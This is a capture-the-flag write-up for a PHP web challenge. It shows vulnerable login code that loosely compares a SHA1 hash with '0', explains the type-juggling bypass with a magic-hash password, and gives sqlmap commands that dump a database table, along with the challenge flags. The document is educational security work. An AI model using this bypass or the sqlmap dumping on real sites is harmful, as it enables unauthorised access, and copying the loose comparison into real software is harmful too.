why-are-types-weird

DESCRIPTION

Jacob is making a simple website to test out his PHP skills. He is certain that his website has absolutely zero security issues. Find out the fatal bug in his website. FLAG FORMAT: dsc{[a-zA-Z0-9_]+}

Solution:

• Look at source.php

<?php
if (isset($_GET['but_submit'])) {
    $username = $_GET['txt_uname'];
    $password = $_GET['txt_pwd'];
    if ($username !== "admin") {
        echo "Invalid username";
    } else if (hash('sha1', $password) == "0") {
        session_start();
        $_SESSION['username'] = $username;
        header("Location: admin.php");
    } else {
        echo "Invalid password";
    }
}

• As we can see there is a strict comparison=== / !== happening for the username and loose comparison==/!= happening for password

Loose Comparison	Strict Comparison
Only value is checked and NOT the type of the variable	Both value and Type are checked
== or !=	=== or !==

• Read here on Type Juggling in PHP

• If we look closely at the source code we can see that there is a loose comparison (==) between the SHA1 hash and 0, we can exploit this comparison.

• So somehow we need to find a value whose SHA1 hash value starts with 0e

• I used this Git repository to find the SHA1 hash

• admin:aaroZmOk

• We are able to login with the above credentials

• We can enter different ids in the box and we get some credentials but they are of no use

• From id we get username and passwords

  • user1:password1

  • user2:password123

  • amitheadmin:dsc{n0_1m_n0t_th3_4dm1n}

• My next thought was to use sqlmap

• Capture request using burpsuite

• Save the request to a .raw file

• Enumerate using sqlmap

• Commands:

  • sqlmap -r request.raw --dbms=SQLite --tables

  • sqlmap -r request.raw --dbms=SQLite -T power_users

  • sqlmap -r request.raw --dbms=SQLite -T power_users --dump

• We get the flag in the power_users table

• FLAG: dsc{tYp3_juGgl1nG_i5_cr4zY}

Resources:

• https://medium.com/@Asm0d3us/part-1-php-tricks-in-web-ctf-challenges-e1981475b3e4

• https://github.com/spaze/hashes/blob/master/sha1.md